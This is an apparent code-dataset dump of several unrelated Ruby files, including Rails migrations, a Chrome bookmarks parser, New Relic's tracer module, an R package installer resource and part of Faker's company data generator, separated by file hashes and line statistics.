field :id, ::Types::GlobalIDType[::Packages::Pypi::Metadatum], null: false, description: 'ID of the metadatum.'
field :required_python, GraphQL::STRING_TYPE, null: true, description: 'Required Python version of the Pypi package.'
end
end
end
end
| 27.611111 | 125 | 0.690141 |
38404a9b3ea58ec797b98b7832458e902e12f0c7 | 439 | # frozen_string_literal: true
class AddSpIdToShareButton < ActiveRecord::Migration[4.2]
def change
add_column :share_buttons, :sp_id, :string
add_column :share_buttons, :campaign_page_id, :integer
add_column :share_buttons, :sp_type, :string
add_column :share_facebooks, :sp_id, :string
add_index 'share_buttons', ['campaign_page_id'], name: 'index_share_buttons_on_campaign_page_id', using: :btree
end
end
| 33.769231 | 115 | 0.753986 |
1c475e81c8c4b1f4e7e59c4e26758b730758719b | 963 | class Chromark
class JsonFormat
include BookmarkFile
class Node
def initialize(json, file, parent)
if json["type"] == "url"
e = BookmarkFile::Entry.new(json["url"], json["date_added"], json["name"], parent)
file.entries << e
end
cate = BookmarkFile::Category.new(json["date_added"], json["date_modified"], json["name"], parent)
return unless json["children"]
json["children"].each do |child|
Node.new(child, file, cate)
end
end
end
def initialize
file =
if Gem.win_platform?
File.join('C:', 'Users', ENV['USERNAME'], 'AppData',
'Local', 'Google', 'Chrome', 'User Data', 'Default', 'Bookmarks')
else
File.join(ENV['HOME'], '.config/chromium/Default/Bookmarks')
end
json = JSON.parse File.read file
Node.new(json["roots"]["bookmark_bar"], self, nil)
end
end
end
| 26.027027 | 106 | 0.563863 |
08987d1718aa0fd1f56eedb14e8efcc9ef2fff84 | 341 | module JsTestDriver
module CLI
class StartServer
attr_reader :jstd_jar_command, :runner
def initialize(jstd_jar_command, runner)
@jstd_jar_command = jstd_jar_command
@runner = runner
end
def run(opts = {})
runner.run(jstd_jar_command.start_server.to_s)
end
end
end
end
| 16.238095 | 54 | 0.648094 |
1c80cbfb89ce1bd619924d9669166ba2b9793d81 | 101 | class RemoveSurveyEncountersView < ActiveRecord::Migration[4.2]
def change
# Nothing
end
end
| 16.833333 | 63 | 0.752475 |
38ae2e1015ed2a79712daf30e029240874e88cf4 | 127 | module Pod
# The version of the CocoaPods command line tool.
#
VERSION = '1.0.0'.freeze unless defined? Pod::VERSION
end
| 21.166667 | 55 | 0.708661 |
1c6668b1e44f3267335d721cfd973f6c8f2184bc | 2,492 | module Rails
module Jquery
module Validation
module ActiveModel
module NumericalityValidator
def prepare_jquery_validation_rules(validation_rules, record, attribute, form_options, field_options)
if options[:greater_than].present?
validation_rules[:rule_min] = options[:greater_than] + 1
validation_rules[:msg_min] = record.errors.full_message(attribute, record.errors.generate_message(attribute, :greater_than, {count: options[:greater_than]}))
end
if options[:greater_than_or_equal_to].present?
validation_rules[:rule_min] = options[:greater_than_or_equal_to]
validation_rules[:msg_min] = record.errors.full_message(attribute, record.errors.generate_message(attribute, :greater_than_or_equal_to, {count: options[:greater_than_or_equal_to]}))
end
if options[:equal_to].present?
validation_rules[:rule_min] = options[:equal_to]
validation_rules[:rule_max] = options[:equal_to]
validation_rules[:msg_min] = record.errors.full_message(attribute, record.errors.generate_message(attribute, :equal_to, {count: options[:equal_to]}))
validation_rules[:msg_max] = record.errors.full_message(attribute, record.errors.generate_message(attribute, :equal_to, {count: options[:equal_to]}))
end
if options[:less_than].present?
validation_rules[:rule_max] = options[:less_than] - 1
validation_rules[:msg_max] = record.errors.full_message(attribute, record.errors.generate_message(attribute, :less_than, {count: options[:less_than]}))
end
if options[:less_than_or_equal_to].present?
validation_rules[:rule_max] = options[:less_than_or_equal_to]
validation_rules[:msg_max] = record.errors.full_message(attribute, record.errors.generate_message(attribute, :less_than_or_equal_to, {count: options[:less_than_or_equal_to]}))
end
if options[:only_integer].present? and options[:only_integer]
validation_rules[:rule_digits] = true
validation_rules[:msg_digits] = record.errors.full_message(attribute, record.errors.generate_message(attribute, :only_integer))
end
end
end
end
end
end
end
ActiveModel::Validations::NumericalityValidator.send :include, Rails::Jquery::Validation::ActiveModel::NumericalityValidator
| 57.953488 | 195 | 0.691413 |
62a19bb6c64c97d019bbb7c1d07ef42e71406bd2 | 174 | class ActiveSqlCallNumber < ActiveRecord::Base
has_and_belongs_to_many :active_sql_people,
:join_table => 'active_sql_call_numbers_active_sql_people' # for Rails 4
end
| 34.8 | 76 | 0.821839 |
d5b227548e0371f065f84d833a338af07f8575ce | 1,187 | module MiqAeMethodService
class MiqAeServiceMiqRequest < MiqAeServiceModelBase
require_relative "mixins/miq_ae_service_miq_request_mixin"
include MiqAeServiceMiqRequestMixin
expose :miq_request_tasks, :association => true
expose :requester, :association => true
expose :resource, :association => true
expose :source, :association => true
expose :destination, :association => true
expose :tenant, :association => true
expose :authorized?
expose :approve, :override_return => true
expose :deny, :override_return => true
expose :pending, :override_return => true
# For backward compatibility
def miq_request
self
end
association :miq_request
def approvers
ar_method { wrap_results @object.miq_approvals.collect { |a| a.approver.kind_of?(User) ? a.approver : nil }.compact }
end
association :approvers
def set_message(value)
object_send(:update_attributes, :message => value.try!(:truncate, 255))
end
def description=(new_description)
object_send(:update_attributes, :description => new_description)
end
end
end
| 32.081081 | 123 | 0.68155 |
aceea589f7d7f4e79f7ff46d5300389c9468b033 | 1,123 | # action to install from repository
action :install do
execute "install R package" do
command r_install(new_resource.package)
not_if r_is_installed(new_resource.package)
end
end
action :remove do
execute "remove R package" do
command r_remove(new_resource.package)
not_if r_is_removed(new_resource.package)
end
end
action :library do
execute "library R package" do
command r_library(new_resource.package)
end
end
# local methods
def r_is_installed(package_name)
"test -e /usr/local/lib/R/site-library/\"#{package_name}\""
end
def r_is_removed(package_name)
"test ! -e /usr/local/lib/R/site-library/\"#{package_name}\""
end
def r_install(package_name)
repos = "#{new_resource.repos}"
r_command = "install.packages('#{package_name}', repos='#{repos}')"
"echo \"#{r_command}\" | R --no-save --no-restore -q"
end
def r_remove(package_name)
r_command = "remove.packages('#{package_name}')"
"echo \"#{r_command}\" | R --no-save --no-restore -q"
end
def r_library(package_name)
r_command = "library('#{package_name}')"
"R -e \"#{r_command}\" --no-save --no-restore -q"
end
| 24.413043 | 69 | 0.707035 |
384cb3285fc0c34cf68971a5e8fb5c6efd8e2741 | 1,223 | # frozen_string_literal: true
module Ci
class BuildPresenter < ProcessablePresenter
def erased_by_user?
# Build can be erased through API, therefore it does not have
# `erased_by` user assigned in that case.
erased? && erased_by
end
def erased_by_name
erased_by.name if erased_by_user?
end
def status_title
if auto_canceled?
"Job is redundant and is auto-canceled by Pipeline ##{auto_canceled_by_id}"
else
tooltip_for_badge
end
end
def trigger_variables
return [] unless trigger_request
@trigger_variables ||=
if pipeline.variables.any?
pipeline.variables.map(&:to_runner_variable)
else
trigger_request.user_variables
end
end
def tooltip_message
"#{subject.name} - #{detailed_status.status_tooltip}"
end
def execute_in
scheduled? && scheduled_at && [0, scheduled_at - Time.now].max
end
private
def tooltip_for_badge
detailed_status.badge_tooltip.capitalize
end
def detailed_status
@detailed_status ||= subject.detailed_status(user)
end
end
end
Ci::BuildPresenter.prepend_mod_with('Ci::BuildPresenter')
| 22.236364 | 83 | 0.670482 |
037d14dba9243d346cc2b34688d278db70cc6d87 | 3,302 | require 'simplecov'
SimpleCov.start
require "jekyll"
require "jekyll-lilypond"
RSpec.configure do |config|
config.expect_with :rspec do |expectations|
expectations.include_chain_clauses_in_custom_matcher_descriptions = true
end
config.mock_with :rspec do |mocks|
mocks.verify_partial_doubles = true
end
config.shared_context_metadata_behavior = :apply_to_host_groups
#https://ayastreb.me/writing-a-jekyll-plugin/ from here on down
SOURCE_DIR = File.expand_path("../fixtures", __FILE__)
DEST_DIR = File.expand_path("../dest", __FILE__)
def source_dir(*files)
File.join(SOURCE_DIR, *files)
end
def dest_dir(*files)
File.join(DEST_DIR, *files)
end
def make_context(registers = {})
Liquid::Context.new({}, {}, { :site => site }.merge(registers))
end
# The settings below are suggested to provide a good initial experience
# with RSpec, but feel free to customize to your heart's content.
=begin
# This allows you to limit a spec run to individual examples or groups
# you care about by tagging them with `:focus` metadata. When nothing
# is tagged with `:focus`, all examples get run. RSpec also provides
# aliases for `it`, `describe`, and `context` that include `:focus`
# metadata: `fit`, `fdescribe` and `fcontext`, respectively.
config.filter_run_when_matching :focus
# Allows RSpec to persist some state between runs in order to support
# the `--only-failures` and `--next-failure` CLI options. We recommend
# you configure your source control system to ignore this file.
config.example_status_persistence_file_path = "spec/examples.txt"
# Limits the available syntax to the non-monkey patched syntax that is
# recommended. For more details, see:
# - http://rspec.info/blog/2012/06/rspecs-new-expectation-syntax/
# - http://www.teaisaweso.me/blog/2013/05/27/rspecs-new-message-expectation-syntax/
# - http://rspec.info/blog/2014/05/notable-changes-in-rspec-3/#zero-monkey-patching-mode
config.disable_monkey_patching!
# This setting enables warnings. It's recommended, but in some cases may
# be too noisy due to issues in dependencies.
config.warnings = true
# Many RSpec users commonly either run the entire suite or an individual
# file, and it's useful to allow more verbose output when running an
# individual spec file.
if config.files_to_run.one?
# Use the documentation formatter for detailed output,
# unless a formatter has already been configured
# (e.g. via a command-line flag).
config.default_formatter = "doc"
end
# Print the 10 slowest examples and example groups at the
# end of the spec run, to help surface which specs are running
# particularly slow.
config.profile_examples = 10
# Run specs in random order to surface order dependencies. If you find an
# order dependency and want to debug it, you can fix the order by providing
# the seed, which is printed after each run.
# --seed 1234
config.order = :random
# Seed global randomization in this process using the `--seed` CLI option.
# Setting this allows you to use `--seed` to deterministically reproduce
# test failures related to randomization by passing the same `--seed` value
# as the one that triggered the failure.
Kernel.srand config.seed
=end
end
| 37.101124 | 92 | 0.735918 |
f73d9b74d8727da340ed93e0c0ade00397059904 | 1,561 | # Copyright (c) 2018 Public Library of Science
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
# DEALINGS IN THE SOFTWARE.
require 'support/pages/card_overlay'
class ChooseCardTypeOverlay < CardOverlay
def self.launch(session)
new session.find('.overlay')
end
def task_type=(task_type)
find('.task-type-select')
select_from_chosen(task_type, class: 'task-type-select')
end
def create(params)
self.task_type = params[:card_type]
find('.button-primary', text: 'ADD').click
synchronize_no_content! "Pick the type of card to add"
self
end
end
| 39.025 | 76 | 0.761051 |
ff18b52f65c485eb54fd599ecaa73e684e4083c8 | 17,912 | # encoding: utf-8
# This file is distributed under New Relic's license terms.
# See https://github.com/newrelic/newrelic-ruby-agent/blob/main/LICENSE for complete details.
require 'new_relic/agent/transaction'
require 'new_relic/agent/transaction/segment'
require 'new_relic/agent/transaction/datastore_segment'
require 'new_relic/agent/transaction/external_request_segment'
require 'new_relic/agent/transaction/message_broker_segment'
module NewRelic
module Agent
#
# This class helps you interact with the current transaction (if
# it exists), start new transactions/segments, etc.
#
# @api public
class Tracer
class << self
def state
state_for(Thread.current)
end
alias_method :tl_get, :state
# Returns +true+ unless called from within an
# +NewRelic::Agent.disable_all_tracing+ block.
#
# @api public
def tracing_enabled?
state.tracing_enabled?
end
# Returns the transaction in progress for this thread, or
# +nil+ if none exists.
#
# @api public
def current_transaction
state.current_transaction
end
# Returns the trace_id of the current_transaction, or +nil+ if
# none exists.
#
# @api public
def current_trace_id
if txn = current_transaction
txn.trace_id
end
end
alias_method :trace_id, :current_trace_id
# Returns the id of the current span, or +nil+ if none exists.
#
# @api public
def current_span_id
if span = current_segment
span.guid
end
end
alias_method :span_id, :current_span_id
# Returns a boolean indicating whether the current_transaction
# is sampled, or +nil+ if there is no current transaction.
#
# @api public
def transaction_sampled?
if txn = current_transaction
txn.sampled?
end
end
alias_method :sampled?, :transaction_sampled?
# Runs the given block of code in a transaction.
#
# @param [String] name reserved for New Relic internal use
#
# @param [String] partial_name a meaningful name for this
# transaction (e.g., +blogs/index+); the Ruby agent will add a
# New-Relic-specific prefix
#
# @param [Symbol] category +:web+ for web transactions or
# +:background+ for background transactions
#
# @param [Hash] options reserved for New Relic internal use
#
# @api public
def in_transaction(name: nil,
partial_name: nil,
category: nil,
options: {})
finishable = start_transaction_or_segment(
name: name,
partial_name: partial_name,
category: category,
options: options
)
begin
# We shouldn't raise from Tracer.start_transaction_or_segment, but
# only wrap the yield to be absolutely sure we don't report agent
# problems as app errors
yield
rescue => exception
current_transaction.notice_error(exception)
raise
ensure
finishable.finish if finishable
end
end
# Starts a segment on the current transaction (if one exists)
# or starts a new transaction otherwise.
#
# @param [String] name reserved for New Relic internal use
#
# @param [String] partial_name a meaningful name for this
# transaction (e.g., +blogs/index+); the Ruby agent will add a
# New-Relic-specific prefix
#
# @param [Symbol] category +:web+ for web transactions or
# +:task+ for background transactions
#
# @param [Hash] options reserved for New Relic internal use
#
# @return [Object, #finish] an object that responds to
# +finish+; you _must_ call +finish+ on it at the end of the
# code you're tracing
#
# @api public
def start_transaction_or_segment(name: nil,
partial_name: nil,
category: nil,
options: {})
if name.nil? && partial_name.nil?
raise ArgumentError, 'missing required argument: name or partial_name'
end
if category.nil?
raise ArgumentError, 'missing required argument: category'
end
if name
options[:transaction_name] = name
else
options[:transaction_name] = Transaction.name_from_partial(
partial_name,
category
)
end
if (txn = current_transaction)
txn.create_nested_segment(category, options)
else
Transaction.start_new_transaction(state, category, options)
end
rescue ArgumentError
raise
rescue => exception
log_error('start_transaction_or_segment', exception)
end
# Takes name or partial_name and a category.
# Returns a transaction instance or nil
def start_transaction(name: nil,
partial_name: nil,
category: nil,
**options)
if name.nil? && partial_name.nil?
raise ArgumentError, 'missing required argument: name or partial_name'
end
if category.nil?
raise ArgumentError, 'missing required argument: category'
end
return current_transaction if current_transaction
if name
options[:transaction_name] = name
else
options[:transaction_name] = Transaction.name_from_partial(
partial_name,
category
)
end
Transaction.start_new_transaction(state,
category,
options)
rescue ArgumentError
raise
rescue => exception
log_error('start_transaction', exception)
end
def create_distributed_trace_payload
return unless txn = current_transaction
txn.distributed_tracer.create_distributed_trace_payload
end
def accept_distributed_trace_payload(payload)
return unless txn = current_transaction
txn.distributed_tracer.accept_distributed_trace_payload(payload)
end
# Returns the currently active segment in the transaction in
# progress for this thread, or +nil+ if no segment or
# transaction exists.
#
# @api public
def current_segment
return unless txn = current_transaction
txn.current_segment
end
# Creates and starts a general-purpose segment used to time
# arbitrary code.
#
# @param [String] name full name of the segment; the agent
# will not add a prefix. Third-party users should begin the
# name with +Custom/+; e.g.,
# +Custom/UserMailer/send_welcome_email+
#
# @param [optional, String, Array] unscoped_metrics additional
# unscoped metrics to record using this segment's timing
# information
#
# @param start_time [optional, Time] a +Time+ instance
# denoting the start time of the segment. Value is set by
# AbstractSegment#start if not given.
#
# @param parent [optional, Segment] Use for the rare cases
# (such as async) where the parent segment should be something
# other than the current segment
#
# @return [Segment] the newly created segment; you _must_ call
# +finish+ on it at the end of the code you're tracing
#
# @api public
def start_segment(name:nil,
unscoped_metrics:nil,
start_time: nil,
parent: nil)
# ruby 2.0.0 does not support required kwargs
raise ArgumentError, 'missing required argument: name' if name.nil?
segment = Transaction::Segment.new name, unscoped_metrics, start_time
start_and_add_segment segment, parent
rescue ArgumentError
raise
rescue => exception
log_error('start_segment', exception)
end
UNKNOWN = "Unknown".freeze
OTHER = "other".freeze
# Creates and starts a datastore segment used to time
# datastore operations.
#
# @param [String] product the datastore name for use in metric
# naming, e.g. "FauxDB"
#
# @param [String] operation the name of the operation
# (e.g. "select"), often named after the method that's being
# instrumented.
#
# @param [optional, String] collection the collection name for use in
# statement-level metrics (i.e. table or model name)
#
# @param [optional, String] host the host this database
# instance is running on
#
# @param [optional, String] port_path_or_id TCP port, file
# path, UNIX domain socket, or other connection-related info
#
# @param [optional, String] database_name the name of this
# database
#
# @param start_time [optional, Time] a +Time+ instance
# denoting the start time of the segment. Value is set by
# AbstractSegment#start if not given.
#
# @param parent [optional, Segment] Use for the rare cases
# (such as async) where the parent segment should be something
# other than the current segment
#
# @return [DatastoreSegment] the newly created segment; you
# _must_ call +finish+ on it at the end of the code you're
# tracing
#
# @api public
def start_datastore_segment(product: nil,
operation: nil,
collection: nil,
host: nil,
port_path_or_id: nil,
database_name: nil,
start_time: nil,
parent: nil)
product ||= UNKNOWN
operation ||= OTHER
segment = Transaction::DatastoreSegment.new product, operation, collection, host, port_path_or_id, database_name
start_and_add_segment segment, parent
rescue ArgumentError
raise
rescue => exception
log_error('start_datastore_segment', exception)
end
# Creates and starts an external request segment using the
# given library, URI, and procedure. This is used to time
# external calls made over HTTP.
#
# @param [String] library a string of the class name of the library used to
# make the external call, for example, 'Net::HTTP'.
#
# @param [String, URI] uri indicates the URI to which the
# external request is being made. The URI should begin with the protocol,
# for example, 'https://github.com'.
#
# @param [String] procedure the HTTP method being used for the external
# request as a string, for example, 'GET'.
#
# @param start_time [optional, Time] a +Time+ instance
# denoting the start time of the segment. Value is set by
# AbstractSegment#start if not given.
#
# @param parent [optional, Segment] Use for the rare cases
# (such as async) where the parent segment should be something
# other than the current segment
#
# @return [ExternalRequestSegment] the newly created segment;
# you _must_ call +finish+ on it at the end of the code
# you're tracing
#
# @api public
def start_external_request_segment(library: nil,
uri: nil,
procedure: nil,
start_time: nil,
parent: nil)
# ruby 2.0.0 does not support required kwargs
raise ArgumentError, 'missing required argument: library' if library.nil?
raise ArgumentError, 'missing required argument: uri' if uri.nil?
raise ArgumentError, 'missing required argument: procedure' if procedure.nil?
segment = Transaction::ExternalRequestSegment.new library, uri, procedure, start_time
start_and_add_segment segment, parent
rescue ArgumentError
raise
rescue => exception
log_error('start_external_request_segment', exception)
end
# Will potentially capture and notice an error at the
# segment that was executing when error occurred.
# if passed +segment+ is something that doesn't
# respond to +notice_segment_error+ then this method
# is effectively just a yield to the given &block
def capture_segment_error segment
return unless block_given?
yield
rescue => exception
if segment && segment.is_a?(Transaction::AbstractSegment)
segment.notice_error exception
end
raise
end
# For New Relic internal use only.
def start_message_broker_segment(action: nil,
library: nil,
destination_type: nil,
destination_name: nil,
headers: nil,
parameters: nil,
start_time: nil,
parent: nil)
# ruby 2.0.0 does not support required kwargs
raise ArgumentError, 'missing required argument: action' if action.nil?
raise ArgumentError, 'missing required argument: library' if library.nil?
raise ArgumentError, 'missing required argument: destination_type' if destination_type.nil?
raise ArgumentError, 'missing required argument: destination_name' if destination_name.nil?
segment = Transaction::MessageBrokerSegment.new(
action: action,
library: library,
destination_type: destination_type,
destination_name: destination_name,
headers: headers,
parameters: parameters,
start_time: start_time
)
start_and_add_segment segment, parent
rescue ArgumentError
raise
rescue => exception
log_error('start_datastore_segment', exception)
end
# This method should only be used by Tracer for access to the
# current thread's state or to provide read-only accessors for other threads
#
# If ever exposed, this requires additional synchronization
def state_for(thread)
state = thread[:newrelic_tracer_state]
if state.nil?
state = Tracer::State.new
thread[:newrelic_tracer_state] = state
end
state
end
alias_method :tl_state_for, :state_for
def clear_state
Thread.current[:newrelic_tracer_state] = nil
end
alias_method :tl_clear, :clear_state
private
def start_and_add_segment segment, parent = nil
tracer_state = state
if (txn = tracer_state.current_transaction) &&
tracer_state.tracing_enabled?
txn.add_segment segment, parent
else
segment.record_metrics = false
end
segment.start
segment
end
def log_error(method_name, exception)
NewRelic::Agent.logger.error("Exception during Tracer.#{method_name}", exception)
nil
end
end
# This is THE location to store thread local information during a transaction
# Need a new piece of data? Add a method here, NOT a new thread local variable.
class State
def initialize
@untraced = []
@current_transaction = nil
@record_sql = nil
end
# This starts the timer for the transaction.
def reset(transaction=nil)
# We purposefully don't reset @untraced or @record_sql
# since those are managed by NewRelic::Agent.disable_* calls explicitly
# and (more importantly) outside the scope of a transaction
@current_transaction = transaction
@sql_sampler_transaction_data = nil
end
# Current transaction stack
attr_reader :current_transaction
# Execution tracing on current thread
attr_accessor :untraced
def push_traced(should_trace)
@untraced << should_trace
end
def pop_traced
@untraced.pop if @untraced
end
def is_execution_traced?
@untraced.nil? || @untraced.last != false
end
alias_method :tracing_enabled?, :is_execution_traced?
# TT's and SQL
attr_accessor :record_sql
def is_sql_recorded?
@record_sql != false
end
# Sql Sampler Transaction Data
attr_accessor :sql_sampler_transaction_data
end
end
TransactionState = Tracer
end
end
| 35.121569 | 122 | 0.573805 |
e80c79afd1e9c59200f95def158c7c1f9c03b036 | 16,586 | # frozen_string_literal: true
module Faker
class Company < Base
flexible :company
class << self
##
# Produces a company name.
#
# @return [String]
#
# @example
# Faker::Company.name #=> "Roberts Inc"
#
# @faker.version 1.6.0
def name
parse('company.name')
end
##
# Produces a company suffix.
#
# @return [String]
#
# @example
# Faker::Company.suffix #=> "LLC"
#
# @faker.version 1.6.0
def suffix
fetch('company.suffix')
end
##
# Produces a company industry.
#
# @return [String]
#
# @example
# Faker::Company.industry #=> "Food & Beverages"
#
# @faker.version 1.6.0
def industry
fetch('company.industry')
end
##
# Produces a company catch phrase.
#
# @return [String]
#
# @example
# Faker::Company.catch_phrase #=> "Grass-roots grid-enabled portal"
#
# @faker.version 1.6.0
def catch_phrase
translate('faker.company.buzzwords').collect { |list| sample(list) }.join(' ')
end
##
# Produces a company buzzword.
#
# @return [String]
#
# @example
# Faker::Company.buzzword #=> "flexibility"
#
# @faker.version 1.8.7
def buzzword
sample(translate('faker.company.buzzwords').flatten)
end
##
# Produces some company BS.
#
# @return [String]
#
# @example
# Faker::Company.bs #=> "empower customized functionalities"
#
# @faker.version 1.6.0
# When a straight answer won't do, BS to the rescue!
def bs
translate('faker.company.bs').collect { |list| sample(list) }.join(' ')
end
##
# Produces a company EIN (Employer Identification Number).
#
# @return [String]
#
# @example
# Faker::Company.ein #=> "07-4009024"
#
# @faker.version 1.6.0
def ein
format('%09d', rand(10**9)).gsub(/(\d{2})(\d{7})/, '\\1-\\2')
end
##
# Produces a company duns number.
#
# @return [String]
#
# @example
# Faker::Company.duns_number #=> "70-655-5105"
#
# @faker.version 1.6.0
def duns_number
format('%09d', rand(10**9)).gsub(/(\d{2})(\d{3})(\d{4})/, '\\1-\\2-\\3')
end
##
# Produces a company logo.
#
# @return [String]
#
# @example
# Faker::Company.logo #=> "https://pigment.github.io/fake-logos/logos/medium/color/12.png"
#
# @faker.version 1.8.7
# Get a random company logo url in PNG format.
def logo
rand_num = rand(1..13)
"https://pigment.github.io/fake-logos/logos/medium/color/#{rand_num}.png"
end
##
# Produces a company type.
#
# @return [String]
#
# @example
# Faker::Company.type #=> "Partnership"
#
# @faker.version 1.8.7
def type
fetch('company.type')
end
##
# Produces a company profession.
#
# @return [String]
#
# @example
# Faker::Company.profession #=> "factory worker"
#
# @faker.version 1.6.0
def profession
fetch('company.profession')
end
##
# Produces a company spanish organisation number.
#
# @return [String]
#
# @example
# Faker::Company.spanish_organisation_number #=> "D6819358"
#
# @faker.version 1.8.5
#
# Get a random Spanish organization number. See more here https://es.wikipedia.org/wiki/N%C3%BAmero_de_identificaci%C3%B3n_fiscal
def spanish_organisation_number(organization_type: nil)
# Valid leading character: A, B, C, D, E, F, G, H, J, N, P, Q, R, S, U, V, W
# format: 1 digit letter (organization type) + 7 digit numbers + 1 digit control (letter or number based on
# organization type)
letters = %w[A B C D E F G H J N P Q R S U V W]
organization_type = sample(letters) unless letters.include?(organization_type)
code = format('%07d', rand(10**7))
control = spanish_cif_control_digit(organization_type, code)
[organization_type, code, control].join
end
##
# Produces a company swedish organisation number.
#
# @return [String]
#
# @example
# Faker::Company.swedish_organisation_number #=> "3866029808"
#
# @faker.version 1.7.0
# Get a random Swedish organization number. See more here https://sv.wikipedia.org/wiki/Organisationsnummer
def swedish_organisation_number
# Valid leading digit: 1, 2, 3, 5, 6, 7, 8, 9
# Valid third digit: >= 2
# Last digit is a control digit
base = [sample([1, 2, 3, 5, 6, 7, 8, 9]), sample((0..9).to_a), sample((2..9).to_a), format('%06d', rand(10**6))].join
base + luhn_algorithm(base).to_s
end
##
# Produces a company czech organisation number.
#
# @return [String]
#
# @example
# Faker::Company.czech_organisation_number #=> "90642741"
#
# @faker.version 1.9.1
def czech_organisation_number
sum = 0
base = []
[8, 7, 6, 5, 4, 3, 2].each do |weight|
base << sample((0..9).to_a)
sum += (weight * base.last)
end
base << (11 - (sum % 11)) % 10
base.join
end
##
# Produces a company french siren number.
#
# @return [String]
#
# @example
# Faker::Company.french_siren_number #=> "163417827"
#
# @faker.version 1.8.5
# Get a random French SIREN number. See more here https://fr.wikipedia.org/wiki/Syst%C3%A8me_d%27identification_du_r%C3%A9pertoire_des_entreprises
def french_siren_number
base = (1..8).map { rand(10) }.join
base + luhn_algorithm(base).to_s
end
##
# Produces a company french siret number.
#
# @return [String]
#
# @example
# Faker::Company.french_siret_number #=> "76430067900496"
#
# @faker.version 1.8.5
def french_siret_number
location = rand(100).to_s.rjust(4, '0')
org_no = french_siren_number + location
org_no + luhn_algorithm(org_no).to_s
end
##
# Produces a company norwegian organisation number.
#
# @return [String]
#
# @example
# Faker::Company.norwegian_organisation_number #=> "842457173"
#
# @faker.version 1.8.0
# Get a random Norwegian organization number. Info: https://www.brreg.no/om-oss/samfunnsoppdraget-vart/registera-vare/einingsregisteret/organisasjonsnummeret/
def norwegian_organisation_number
# Valid leading digit: 8, 9
mod11_check = nil
while mod11_check.nil?
base = [sample([8, 9]), format('%07d', rand(10**7))].join
mod11_check = mod11(base)
end
base + mod11_check.to_s
end
##
# Produces a company australian business number.
#
# @return [String]
#
# @example
# Faker::Company.australian_business_number #=> "93579396170"
#
# @faker.version 1.6.4
def australian_business_number
base = format('%09d', rand(10**9))
abn = "00#{base}"
(99 - (abn_checksum(abn) % 89)).to_s + base
end
##
# Produces a company polish taxpayer identification_number.
#
# @return [String]
#
# @example
# Faker::Company.polish_taxpayer_identification_number #=> "2767549463"
#
# @faker.version 1.9.1
# Get a random Polish taxpayer identification number More info https://pl.wikipedia.org/wiki/NIP
def polish_taxpayer_identification_number
result = []
weights = [6, 5, 7, 2, 3, 4, 5, 6, 7]
loop do
result = Array.new(3) { rand(1..9) } + Array.new(7) { rand(10) }
break if (weight_sum(result, weights) % 11) == result[9]
end
result.join('')
end
##
# Produces a company polish register of national economy.
#
# @return [String]
#
# @example
# Faker::Company.polish_register_of_national_economy #=> "788435970"
#
# @faker.version 1.9.1
# Get a random Polish register of national economy number. More info https://pl.wikipedia.org/wiki/REGON
def polish_register_of_national_economy(legacy_length = NOT_GIVEN, length: 9)
warn_for_deprecated_arguments do |keywords|
keywords << :length if legacy_length != NOT_GIVEN
end
raise ArgumentError, 'Length should be 9 or 14' unless [9, 14].include? length
random_digits = []
loop do
random_digits = Array.new(length) { rand(10) }
break if collect_regon_sum(random_digits) == random_digits.last
end
random_digits.join('')
end
##
# Produces a company south african pty ltd registration number.
#
# @return [String]
#
# @example
# Faker::Company.south_african_pty_ltd_registration_number #=> "7043/2400717902/07"
#
# @faker.version 1.9.2
def south_african_pty_ltd_registration_number
regexify(/\d{4}\/\d{4,10}\/07/)
end
##
# Produces a company south african close corporation registration number.
#
# @return [String]
#
# @example
# Faker::Company.south_african_close_corporation_registration_number #=> "CK38/5739937418/23"
#
# @faker.version 1.9.2
def south_african_close_corporation_registration_number
regexify(/(CK\d{2}|\d{4})\/\d{4,10}\/23/)
end
##
# Produces a company south african listed company registration number.
#
# @return [String]
#
# @example
# Faker::Company.south_african_listed_company_registration_number #=> "2512/87676/06"
#
# @faker.version 1.9.2
def south_african_listed_company_registration_number
regexify(/\d{4}\/\d{4,10}\/06/)
end
##
# Produces a company south african trust registration number.
#
# @return [String]
#
# @example
# Faker::Company.south_african_trust_registration_number #=> "IT5673/937519896"
#
# @faker.version 1.9.2
def south_african_trust_registration_number
regexify(/IT\d{2,4}\/\d{2,10}/)
end
##
# Produces a company brazilian company number.
#
# @return [String]
#
# @example
# Faker::Company.brazilian_company_number #=> "37205322000500"
#
# @faker.version 1.9.2
def brazilian_company_number(legacy_formatted = NOT_GIVEN, formatted: false)
warn_for_deprecated_arguments do |keywords|
keywords << :formatted if legacy_formatted != NOT_GIVEN
end
digits = Array.new(8) { Faker::Number.digit.to_i } + [0, 0, 0, Faker::Number.non_zero_digit.to_i]
factors = [5, 4, 3, 2, 9, 8, 7, 6, 5, 4, 3, 2, 6].cycle
2.times do
checksum = digits.inject(0) { |acc, digit| acc + digit * factors.next } % 11
digits << (checksum < 2 ? 0 : 11 - checksum)
end
number = digits.join
formatted ? format('%s.%s.%s/%s-%s', *number.scan(/(\d{2})(\d{3})(\d{3})(\d{4})(\d{2})/).flatten) : number
end
##
# Get a random Russian tax number.
# @param region [String] Any region string
# @param type [Symbol] Legeal or not, defaults to :legal
#
# @return [String]
# @example
# Faker::Company.russian_tax_number #=> "0415584064"
# Faker::Company.russian_tax_number(region: 'AZ') #=> "AZ50124562"
# Faker::Company.russian_tax_number(region: 'AZ', type: false) #=> "AZ8802315465"
#
# @faker.version 1.9.4
def russian_tax_number(region: nil, type: :legal)
inn_number(region, type)
end
##
# Produces a company sic code.
#
# @return [String]
#
# @example
# Faker::Company.sic_code #=> "7383"
#
# @faker.version 1.9.4
def sic_code
fetch('company.sic_code')
end
private
